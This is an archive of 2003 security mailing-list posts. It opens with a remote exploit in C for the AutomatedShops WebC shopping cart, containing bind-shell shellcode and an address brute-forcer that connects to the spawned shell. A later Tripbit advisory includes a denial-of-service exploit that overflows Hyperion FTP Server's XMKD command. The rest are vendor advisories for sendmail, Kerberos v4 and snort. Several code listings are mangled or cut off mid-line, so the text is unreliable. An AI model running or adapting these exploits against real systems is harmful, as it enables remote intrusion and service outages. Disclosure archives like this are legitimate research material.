Re: Multiple vulnerabilities in AutomatedShops WebC shopping cart

[Carl Livitt]

Oops. The remote exploit I included was a half-finished (not working) version 
that attempts privilege escalation in addition to execution of shellcode.

Attached is the correct, working version with no privilege escalation.

Carl.
/*
 AutomatedShops WebC 2.011 -> 5.005 remote exploit.
 By Carl Livitt 16/Feb/2003

 ** BugTraq release - Linux only **

 Usage:

./webc-exploit -t HOSTNAME

*/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/*
 * Play with these to make it work (if it fails!)
 */
#define RET_ADDR_START	0xbfffe949
#define RET_ADDR_END	0xb850
#define RET_ADDR_INCR	768
#define EBP_ADDR_START 	0xbfffe84c
#define EBP_ADDR_END	0xb852
#define EBP_ADDR_INCR	768
#define ROOT_SHELL_PORT 1
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"

// don't adjust this
#define BUF_SIZE 2048

void make_shellcode(int);
void make_exploit_buffer();
void make_boundary_buffer();

char shellcode[] =
	// setuid(0),setgid(0)... (just in case ;)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"

	// ...fork(). Parent terminates, killing webc.cgi but
	// leaving child process as a daemon...
	"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31\xdb\x31\xc0"
	"\xb0\x01\xcd\x80"

	// ...finally, bind shell (/bin/sh) to port 1 (by default).
	// This is a butchered version of port-binding shellcode by
	// BigHawk.
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"XX" // XX is port number - gets filled in later
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

char sc[BUF_SIZE*2+2];
char exploit_buf[10];
char target[256];
int port=80;
char orig_location[4096]="/cgi-bin/webc.cgi/g/", location[10];
unsigned long RET_ADDR, EBP_ADDR;
int root_shell_port=ROOT_SHELL_PORT,padding,len, PADDING, ORDER, repeat;

char usage[]=
"Options:\n"
"-h   This cruft\n"
"-t hostname  Specify target host\n"
"-a n Add extra padding, start at value 'n'\n"
"-A n Add extra padding, stop at value 'n'\n\n"
"Usage:\n\n"
" ./webc-exploit -t localhost\n\n"
"Should work on any WebC installation (versions 5.001 - 5.005)\n\n";

char greeting[]=
"WebC 5.00x proof-of-concept exploit for Linux\n"
"By Carl Livitt, Feb 2003\n"
"PRIVATE - DO  NOT DISTRIBUTE\n\n";

char thingy[]="|/-\\";

/*
 * The fun begins here...
 */

main(int argc, char **argv) {
	int ch, websock, shellsock,r=1;
	struct hostent *host;
	struct sockaddr_in saddr;
	char buf[8092];
	char cmd[256];
	int tries=0;
	struct timespec sleepTime;
	fd_set rfds;
	int retval, PADDING_START, PADDING_END;
	int thingyCount=0;
		
	printf("%s",greeting);
	PADDING_START=21;
	PADDING_END=21;
	while((ch=getopt(argc,argv,"a:A:ht:p:P:l:"))!=-1) {
		switch(ch) {
			case 'h':
printf("%s",usage);
exit(0);
break;
			case 't':
strncpy(target, optarg, sizeof(target)-1);
break;
			case 'a':
PADDING_START=atoi(optarg);
break;
			case 'A':
PADDING_END=atoi(optarg);
break;
			default:
printf("%s", usage);
exit(0);
break;
		}
	}	
	
	if((host=gethostbyname(target))==NULL) {
		printf("Host not found. Usage:\n%s\n", usage);
		exit(1);
	}
	
	/*
	 * Start the bruteforce loop
	 */
	for(RET_ADDR=RET_ADDR_START; RET_ADDRh_addr_list[0]);
			saddr.sin_port=htons(port);
			if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
perror("connect()");
exit(1);
			}
			send(websock, exploit_buf, strlen(exploit_buf), 0);
			//len=recv(websock, buf, sizeof(buf)-1, 0);
			close(websock);
			
			// increment the counters 
			tries++;
			if((++thingyCount)==4)
thingyCount=0;

			// attempt to connect to port 1 (or other, non-default port).
			// If successful, we know the exploit succeeded.
			if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(root_shell_port);
if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
goto CONNECTED; // goto? Damn amateurs...
close(shellsock);
			EBP_ADDR--;
			} // repeat
			} // ORDER
			} // PADDING
		} // EBP_ADDR
	} // RET_ADDR
	/*
	 * If we get here, then the bruteforce was exhausted without a
	 * succesful exploit.
	 */
	printf("Exploit failed.\n");
	exit(0);

CONNECTED:
/*
 * We're now connected to the remote host. Is

[SECURITY] [DSA 278-1] New sendmail packages fix denial of service

[Martin Schulze]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 278-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
April 4th, 2003 http://www.debian.org/security/faq
- --

Package: sendmail
Vulnerability  : char-to-int conversion
Problem-Type   : local, maybe remote
Debian-specific: no
CVE Id : CAN-2003-0161
CERT Id: VU#897604 CA-2003-12

Michal Zalewski discovered a buffer overflow, triggered by a char to
int conversion, in the address parsing code in sendmail, a widely used
powerful, efficient, and scalable mail transport agent.  This problem
is potentially remotely exploitable.

For the stable distribution (woody) this problem has been
fixed in version 8.12.3-6.2.

For the stable distribution (woody) this problem has been
fixed in version 8.9.3-26.

For the unstable distribution (sid) this problem has been
fixed in version 8.12.9-1.

We recommend that you upgrade your sendmail packages.


Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 2.2 alias potato
- -

  Source archives:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26.dsc
  Size/MD5 checksum:  649 f11b024ef774130f7918b882a7318c78
http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26.diff.gz
  Size/MD5 checksum:   143360 2e9868662e4e28e548ed9f6da2982b41
http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3.orig.tar.gz
  Size/MD5 checksum:  1068290 efedacfbce84a71d1cfb0e617b84596e

  Alpha architecture:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_alpha.deb
  Size/MD5 checksum:   989736 a435c32c79785261bd0e7ec921718915

  ARM architecture:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_arm.deb
  Size/MD5 checksum:   948306 1bdd277a28bd6a6c3c812053d11b1edd

  Intel IA-32 architecture:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_i386.deb
  Size/MD5 checksum:   931838 36c569e21502a246dbdfba711b54842e

  Motorola 680x0 architecture:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_m68k.deb
  Size/MD5 checksum:   917632 8ed928ac433a6be8d3144bb435bf1cfd

  PowerPC architecture:


http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_powerpc.deb
  Size/MD5 checksum:   933820 000557eff8d57fa2e479e8df52348f0b

  Sun Sparc architecture:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_sparc.deb
  Size/MD5 checksum:   945760 c2e0e3d1edb05a00d3e5b0d8ca1053c8


Debian GNU/Linux 3.0 alias woody
- 

  Source archives:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2.dsc
  Size/MD5 checksum:  761 9eae4393094b7b163ecdddcd16dad19e
http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2.diff.gz
  Size/MD5 checksum:   253152 1fcbf7838b267d06a8c6258d3ff56488
http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3.orig.tar.gz
  Size/MD5 checksum:  1840401 b198b346b10b3b5afc8cb4e12c07ff4d

  Architecture independent components:


http://security.debian.org/pool/updates/main/s/sendmail/sendmail-doc_8.12.3-6.2_all.deb
  Size/MD5 checksum:   747408 5d83e06ac78cb55eabb9334235ec82ab

  Alpha architecture:


http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.2_alpha.deb
  Size/MD5 checksum:   267450 a8fd2edcabf581c8cef66fc1dcb5a8aa

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2_alpha.deb
  Size/MD5 checksum:  1218398 cf5503083ecacd7049171922e2fe15c7

  ARM architecture:


http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.2_arm.deb
  Size/MD5 checksum:   247160 2a01bee8674426bc1a3ef3c40a39e4a1
http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2_arm.deb
  Size/MD5 checksum:  1066282 2dc41903235f6a88de369807e633f8c9

  Intel IA-32 architecture:


http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.2_i386.deb
  Size/MD5 checksum:   236942 fb790940bcdfcd6231db136c6d381cb5

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2_i386.deb

[SECURITY] [DSA 278-2] New sendmail packages fix DoS and arbitrary code execution

[Martin Schulze]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 278-2 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
April 4th, 2003 http://www.debian.org/security/faq
- --

Package: sendmail
Vulnerability  : char-to-int conversion
Problem-Type   : local, maybe remote
Debian-specific: no
CVE Id : CAN-2003-0161
CERT Id: VU#897604 CA-2003-12

This is a major brown paperbag update.  The old packages for the
stable distribution (woody) did not work as expected and you should
only update to the neww packages mentioned in this advisory.  The
packages in the old stable distribution (potato) are working
properly.  I'm awfully sorry for the inconvenience.

At the moment updated packages are only available for alpha, i386 and sparc.

The original advisory was:

   Michal Zalewski discovered a buffer overflow, triggered by a char to
   int conversion, in the address parsing code in sendmail, a widely used
   powerful, efficient, and scalable mail transport agent.  This problem
   is potentially remotely exploitable.

For the stable distribution (woody) this problem has been
fixed in version 8.12.3-6.3.

We recommend that you upgrade your sendmail packages.


Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- 

  Source archives:

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3.dsc
  Size/MD5 checksum:  761 105b2619c72e95e90aec1f8dbe69fb6d
http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3.diff.gz
  Size/MD5 checksum:   253206 95f7f532f1f94061803d0b5407c7bd7a
http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3.orig.tar.gz
  Size/MD5 checksum:  1840401 b198b346b10b3b5afc8cb4e12c07ff4d

  Architecture independent components:


http://security.debian.org/pool/updates/main/s/sendmail/sendmail-doc_8.12.3-6.3_all.deb
  Size/MD5 checksum:   747428 b3ade8ee7ac5de3f7e9a66eaf51654c0

  Alpha architecture:


http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.3_alpha.deb
  Size/MD5 checksum:   267498 9616df6f9a46472c1fd6e3d2a418d9f8

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3_alpha.deb
  Size/MD5 checksum:  1218434 23579de1583d6fb9976e1b1c2f59fc00

  Intel IA-32 architecture:


http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.3_i386.deb
  Size/MD5 checksum:   236984 2a1bef62b8cbf587529a798b1090429c

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3_i386.deb
  Size/MD5 checksum:  1003430 66deba993c135453e2e554faf4955615

  Sun Sparc architecture:


http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.3_sparc.deb
  Size/MD5 checksum:   244974 0a2bbdfec93148f2fa796874012dfc2a

http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3_sparc.deb
  Size/MD5 checksum:  1069450 cbe517ba8fbd191dc5dffe1604da4454


  These files will probably be moved into the stable distribution on
  its next revision.

- -
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: [EMAIL PROTECTED]
Package info: `apt-cache show ' and http://packages.debian.org/

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+jZ1cW5ql+IAeqTIRAi6LAJ9P5zic6h3qnrC9cLgaohqhkLEVkACfVYBQ
RSwaaq8JX/n9MjU12wVRVFM=
=58hR
-END PGP SIGNATURE-

NetBSD Security Advisory 2003-006: Cryptographic weaknesses in Kerberos v4 protocol

[NetBSD Security Officer]

-BEGIN PGP SIGNED MESSAGE-


 NetBSD Security Advisory 2003-006
 =

Topic:  Cryptographic weaknesses in Kerberos v4 protocol


Version:NetBSD-current: source prior to March 20, 2003
NetBSD 1.6: affected
NetBSD-1.5.3:   affected
NetBSD-1.5.2:   affected
NetBSD-1.5.1:   affected
NetBSD-1.5: affected
pkgsrc: prior to kth-krb4-1.2.1 or heimdal-0.5.1

Severity:   Every user on a Kerberos 4 network can be compromised

Fixed:  NetBSD-current: March 20, 2003
NetBSD-1.6 branch:  March 22, 2003 (1.6.1 will include the fix)
NetBSD-1.5 branch:  April 1, 2003 
pkgsrc: kth-krb4-1.2.2, heimdal-0.5.2


Abstract


A cryptographic weakness in version 4 of the Kerberos protocol allows
an attacker to use a chosen-plaintext attack to impersonate any
principal in a realm.  This attack subverts a site's entire Kerberos
authentication infrastructure.

Kerberos version 5 does not contain this cryptographic vulnerability.

Sites are not vulnerable if they have Kerberos v4 completely disabled,
including the disabling of any krb5 to krb4 translation services.


Technical Details
=

An attacker controlling a krb4 shared cross-realm key can
impersonate any principal in the remote realm to any service in the
remote realm.  This can lead to a root-level compromise of a KDC,
along with compromise of any hosts that rely on authentication
provided by that KDC.

This attack may be performed against cross-realm principals, thus
allowing an attacker to hop realms and compromise any realm that
transitively shares a cross-realm key with the attacker's local
realm.

Related, but more difficult attacks may be possible without
requiring the control of a shared cross-realm key.  At the very
least, an attacker capable of creating arbitrary principal names in
the target realm may be able to perform the attack.

A leak has occurred of an unpublished paper containing enough
details about the vulnerability that an attacker familiar with the
krb4 protocol can easily construct an exploit.  No exploit is known
to be circulating at this time, though.

These are PROTOCOL vulnerabilities; fixes inherently involve
restricting the functionality of the protocol.

The fixes are required for the KDC machine - patches are not needed
on the clients, if v4 is disabled on the server.


Solutions and Workarounds
=

If you can't upgrade to a newer version, make sure you disable all
cross-realm functionality, remove or randomize the cross-realm key.

You can use ``kinit --version'' do determine if you have a vulnerable system

current:

kinit (Heimdal 0.5nb2, KTH-KRB 1.2)
Copyright (c) 1999-2002 Kungliga Tekniska Högskolan
Send bug-reports to [EMAIL PROTECTED]

is secure/safe.


The following instructions describe how to upgrade your affected
binaries by updating your source tree and rebuilding and
installing a new version of Heimdal.

* NetBSD-current:

Systems running NetBSD-current dated from before 2003-03-20
should be upgraded to NetBSD-current dated 2003-03-21 or later.

The following directories need to be updated from the
netbsd-current CVS branch (aka HEAD):
crypto/dist/heimdal/kdc
include/heimdal

To update from CVS, re-build, and re-install your KDC binaries.
# cd src
# cvs update -d -P crypto/dist/heimdal/kdc include/heimdal
# cd crypto/dist/heimdal/kdc

# make USETOOLS=no cleandir dependall
# make USETOOLS=no install


* NetBSD 1.6:

The binary distribution of NetBSD 1.6 is vulnerable.   

Systems running NetBSD 1.6 sources dated from before
2003-03-22 should be upgraded from NetBSD 1.6 sources dated
2003-03-23 or later.

NetBSD 1.6.1 will include the fix.

The following directories need to be updated from the
netbsd-1-6 CVS branch:
crypto/dist/heimdal/kdc
include/heimdal

To update from CVS, re-build, and re-install your KDC binaries.

# cd src
# cvs update -d -P -r netbsd-1-6 crypto/dist/heimdal/kdc \
include/heimdal
# cd crypto/dist/heimdal/kdc

# make USETOOLS=no cleandir dependall
# make USETOOLS=no install


* NetBSD 1.5, 1.5.1, 1.5.2, 1.5.3:

The binary distribution of NetBSD 1.5.3 is vulnerable.   

Systems running NetBSD 1.5, 1.5.1, 1.5.2, or 1.5.3 sources dated
from before 2003-03-31 should be upgraded from NetBSD 1.5.*
sources dated 2003-04-01 or later.

The following directories need to be update

[CLA-2003:613] Conectiva Security Announcement - snort

[Conectiva Updates]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
CONECTIVA LINUX SECURITY ANNOUNCEMENT 
- --

PACKAGE   : snort
SUMMARY   : RPC preprocessor vulnerability
DATE  : 2003-04-04 14:20:00
ID: CLA-2003:613
RELEVANT
RELEASES  : 8

- -

DESCRIPTION
 Snort is an Open Source Network Intrusion Detection System (NIDS).
 
 ISS X-Force has discovered[1] a remotely exploitable buffer overflow 
 vulnerability in Snort. It resides in the RPC preprocessor, which is
 responsible for normalizing RPC traffic before its analisys by the
 rules processor.
 
 A remote atacker able to insert specially crafted RPC traffic in the
 network being monitored by snort may crash the sensor or execute
 arbitrary code in the context of it, which is run by the root user.
 
 The RPC preprocessor feature was added in snort 1.8, which is
 distributed with Conectiva Linux 8. Users of Conectiva Linux versions
 6.0 and 7.0 are not vulnerable to this attack.
 
 IMPORTANT: Please note that this update is from snort 1.8.4b1 to
 1.9.1. Since several components have changed in snort 1.9.1, the old
 snort.conf file and the alerts database need some small changes in
 order to work with this new version. Instructions about how to
 smoothly upgrade are available at the end of this announcement.


SOLUTION
 This is a serious vulnerability. All snort users should upgrade.
 
 A workaround for this problem is to disable the RPC preprocessor by
 commenting the following line in the snort.conf file:
 
preprocessor rpc_decode: 111
 
 
 REFERENCES:
 1.http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21951
 
 
 
 UPGRADING FROM SNORT 1.8.4b1 TO SNORT 1.9.1:
 
 The snort update from 1.8.4b1 to 1.9.1 basically needs two manual
 interventions to work: changes in the config file
 (/etc/snort/snort.conf) and in the SQL database (in the case of using
 an SQL backend).
 
 
 Necessary changes to the configuration file (snort.conf)
 
 
 Since several components have been changed in snort 1.9.1, some
 changes were made in the snort.conf file. Below are listed the
 necessary changes in order to let snort 1.9.1 work with the old
 config file from snort 1.8.4b1. Notice that, in order to take full
 advantage of the new available features, it is recommended to create
 a new config file based on the one distributed with snort 1.9.1. In
 an rpm based installation, the old configuration file is preserved
 and the new one is saved as "snort.conf.rpmnew".
 
 - New variables:
 
 The following variables (and their default values) were added and
 some rules need these definitions in order to work (i.e. snort will
 not start if these variables are not defined).
 
 # List of telnet servers on your network
 var TELNET_SERVERS $HOME_NET
 
 # List of SMTP servers on your network
 var SMTP_SERVERS $HOME_NET
 
 # Ports you run web servers on
 var HTTP_PORTS 80
 
 # Ports you want to look for SHELLCODE on.
 var SHELLCODE_PORTS !80
 
 # AIM Servers (AOL Instant Messaging)
 var AIM_SERVERS
 
[64.12.24.0/24,64.12.25.0/24,64.12.26.14/24,64.12.28.0/24,64.12.29.0/24,64.12.161.0/24,64.12.163.0/24,205.188.5.0/24,205.188.9.0/24]
 
 # Ports you do oracle attacks on
 var ORACLE_PORTS 1521
 
 
 - Rules directory:
 
 The snort rules are now under the /etc/snort/rules directory. The
 config file must be changed to point to it:
 
 Change the line
 var RULE_PATH ./
 
 To
 var RULE_PATH /etc/snort/rules
 
 
 - Preprocessor changes:
 
 The "http_decode" preprocessor was configured with the following
 parameters in snort 1.8.4b1:
 
 preprocessor http_decode: 80 -unicode -cginull
 
 The syntax in snort 1.9.1 has been changed and now the default is:
 
 preprocessor http_decode: 80 unicode iis_alt_unicode
 double_encode iis_flip_slash full_whitespace
 
 Besides that change, several other preprocessor were modified.
 Although the older configuration may still work, it is recommended to
 adapt it to the new defaults in order to get the best of snort
 capabilities.
 
 
 Necessary changes to the SQL database
 -
 
 The snort database in version 1.8.4b1 (schema 104) is not compatible
 with snort 1.9.1 (schema 106). In order to keep using the old
 database, snort 1.9.1 needs some small changes in the "sensor" and
 "schema" tables. Besides that, a new snort functionality needs
 "update" access to the database tables.
 
 Below are the necessary commands to make such changes in a scenario
 where MySQL is being used to store the snort database locally
 (localhost). If snort is running in a distributed model or using
 another SQL backend, the commands must be adapted accordingly.
 
 - Access the MySQL interface:
   $ mysql -u root -p 

TA-2003-03 Buffer Overflow Vulnerability in Hyperion FTP Server 3.0

[[EMAIL PROTECTED]]

TA-2003-03 Buffer Overflow Vulnerability in Hyperion FTP Server 3.0
contributed by: rushjo
 

Tripbit Security Advisory

TA-2003-03 Buffer Overflow Vulnerability in Hyperion FTP Server 3.0
 



PROGRAM: Hyperion FTP Server
HOMEPAGE: http://www.mollensoft.com
VULNERABLE VERSIONS: 2.7 and 3.0 (newest version)
RISK: Medium/High
IMPACT: Denial Of Service & possiable Remote-Root-Access
RELEASE DATE: 2003-03
 

TABLE OF CONTENTS
 



1..DESCRIPTION
2..DETAILS
3..EXPLOIT
4SOLUTIONS
5VENDOR STATUS
6..CREDITS
7...DISCLAIMER
8...REFERENCES
9.FEEDBACK
1. DESCRIPTION
 



Hyperion FTP Server is an small FTP Server Program for Windows. It is
made by Mollensoft and it supports all FTP Server commands.
2. DETAILS
 



¤ Remote DoS :

A security vulnerability in Hyperion FTP server allows remote attackers
to cause the server to crash by executing a specific command (mkdir
command) with a buffer of 251 and more bytes in length or more.
The command can be issued to the FTP server either by a valid
authenticated user or by an guest/anonymous account (if this is
enabled).


3. EXPLOIT
 



This is an Proof of Concept Exploit of this Buffer Overflow Vul-
nerability.
NOTE: This is only for INFORMATION purposes and not for any
 destructive acts!
/*** 

*
*   Denial of Service Attack for Mollensoft Hyperion FTP Server 3.0
*   ---
*
*   Note: This paper is ONLY for INFORMATION purposes and not for any
* destructive acts!
*
*   Note: Dieser Text ist ausschließlich NUR für Informationszwecke gedacht
* und nicht für irgendwelche Zerstörerischen Taten!
*
*   
*   Tripbit Security Development
*   Author: posidron
*   Website: tripbit.org   
*
*   Vulnerable Version:
*   + Hyperion 3.0
*   + Hyperion 2.7
*
*   Compile:
*   bcc32 -lx ws2_32.lib hyperion.c
*   
*   Execute:
*   hyperion  [user] [pass]
*
*   Thx:
*   MisterMoe, Rushjo, Tec, PeaceTreaty, seth
*
***/

#include 
#include 
#include 
#define A 0x41
#define PORT 21
#define MAX_BUFFER 255
#define MAX_PACKET_BUFFER 1024
int winsock(void);

void usage(char *prog_name)
{
   printf("Usage: %s  [user] [pass] \n", prog_name);
   exit(-1);
}
int main(int argc, char *argv[])
{
   char buffer[MAX_BUFFER], packet_buffer[MAX_PACKET_BUFFER];
   long rc = winsock();
   SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
   SOCKADDR_IN addr;
   
   if(argc < 4) usage(argv[0]);
   
   if(s == INVALID_SOCKET)
   {
   printf("Can't start Socket!, Error code: %d\n", WSAGetLastError());
   return 1;
   }
   
   if(rc != 0)
   {
   printf("Can't start Winsock!, Error code: %d\n", rc);
   return 1;
   }
   
   memset(&addr, 0, sizeof(SOCKADDR_IN));
   addr.sin_family = AF_INET;
   addr.sin_port = htons(PORT);
   addr.sin_addr.s_addr = inet_addr((char*)argv[1]);
   
   rc = connect(s,(SOCKADDR*)&addr, sizeof(SOCKADDR));
   
   if(rc == SOCKET_ERROR)
   {
   printf("Can't connect!, Error code: %d\n", WSAGetLastError());
   return 1;
   }
   
   printf("Connected to %s \n", argv[1]);
   printf("Preparing attack!\n");
   
   recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
   sprintf((char *)packet_buffer,"USER %s\r\n",argv[2]);
   send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
   
   recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
   sprintf((char *)packet_buffer,"PASS %s\r\n",argv[3]);
   send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
   
   recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
   
   memset(buffer,A,MAX_BUFFER);
   buffer[MAX_BUFFER-1]=0;
   
   sprintf((char *)packet_buffer,"XMKD %s\r\n",buffer);
   send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
   recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
   
   Sleep(1000);
   shutdow

Re: SRT2003-04-03-1300 - Interbase ISC_LOCK_ENV overflow

[Marius Popa Adrian]

The overflow apply to firebirdsql also .
we will make a patch for v1.0.2 and look if the version 1.5 beta 4 is affected too.

On Thu, 03 Apr 2003 04:43:57 -0500
KF <[EMAIL PROTECTED]> wrote:

> 
> 
You can contact firebird team on dev lists or look at contact page on 

http://www.Firebirdsql.org 
http://www.ibphoenix.com

[CLA-2003:614] Conectiva Security Announcement - sendmail

[Conectiva Updates]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
CONECTIVA LINUX SECURITY ANNOUNCEMENT 
- --

PACKAGE   : sendmail
SUMMARY   : Buffer overflow vulnerability
DATE  : 2003-04-04 15:10:00
ID: CLA-2003:614
RELEVANT
RELEASES  : 6.0, 7.0, 8

- -

DESCRIPTION
 Sendmail[1] is a widely used Mail Transfer Agent (MTA).
 
 Michal Zalewski reported[6] a remote vulnerability[5] in sendmail
 versions 8.12.8 and below. The vulnerability lies in the address
 parser which performs insufficient bounds checking in certain
 conditions due to a char to int conversion.
 
 It is believed to be possible for remote attackers to cause a Denial
 of Service condition and to even execute arbitrary commands with the
 same permissions under which the sendmail daemon runs, which is
 root.
 
 The sendmail authors have released a new version[2], 8.12.9, which
 fixes this vulnerability. They have also made available patches[3]
 for older versions, which the packages provided via this announcement
 contain.
 
 Starting with Conectiva Linux 7.0, sendmail is no longer the default
 mail server and has been replaced with Postfix. But sendmail is still
 shipped in all Conectiva Linux versions.


SOLUTION
 All sendmail users should upgrade immediately. If the service is
 already active, it should be restarted after the upgrade in order to
 close the vulnerability. To do so, execute the following command as
 root:
 
 /sbin/service sendmail restart
 
 
 REFERENCES
 1. http://www.sendmail.org/
 2. http://www.sendmail.org/8.12.9.html
 3. http://www.sendmail.org/patchps.html
 4. http://www.cert.org/advisories/CA-2003-12.html
 5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0161
 6. http://marc.theaimsgroup.com/?l=bugtraq&m=104897487512238&w=2


UPDATED PACKAGES
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/sendmail-8.11.6-1U60_4cl.src.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-8.11.6-1U60_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-cf-8.11.6-1U60_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sendmail-doc-8.11.6-1U60_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/sendmail-8.11.6-1U70_4cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-8.11.6-1U70_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-cf-8.11.6-1U70_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/sendmail-doc-8.11.6-1U70_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/SRPMS/sendmail-8.11.6-2U80_4cl.src.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-8.11.6-2U80_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-cf-8.11.6-2U80_4cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/sendmail-doc-8.11.6-2U80_4cl.i386.rpm


ADDITIONAL INSTRUCTIONS
 The apt tool can be used to perform RPM packages upgrades:

 - run: apt-get update
 - after that, execute: apt-get upgrade

 Detailed instructions reagarding the use of apt and upgrade examples 
 can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en

- -
All packages are signed with Conectiva's GPG key. The key and instructions
on how to import it can be found at 
http://distro.conectiva.com.br/seguranca/chave/?idioma=en
Instructions on how to check the signatures of the RPM packages can be
found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en

- -
All our advisories and generic update instructions can be viewed at
http://distro.conectiva.com.br/atualizacoes/?idioma=en

- -
Copyright 2003 (c) Conectiva Inc.
http://www.conectiva.com

- -
subscribe: [EMAIL PROTECTED]
unsubscribe: [EMAIL PROTECTED]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+jcsL42jd0JmAcZARAhZ1AJ4sJBRCqsidplEwb+1enXnQ7YvDbQCgxZqI
R+s9lXU4A6fzu3aPze+Z5cg=
=ZmI8
-END PGP SIGNATURE-

RE: NetBIOS could be used as network flood amplier

[Russ]

Its called a NetBIOS Broadcast Storm, and its 15 years old now. No need to write your 
own code, many manufacturers, like Ungermann-Bass, IBM, Tandem Computers and others 
all wrote code that could do this quite effectively. The only difference between your 
code and theirs is that theirs would do it when you didn't want them to.

Cheers,
Russ - NTBugtraq Editor

-Original Message-
From: Francesco Vigo [mailto:[EMAIL PROTECTED] 
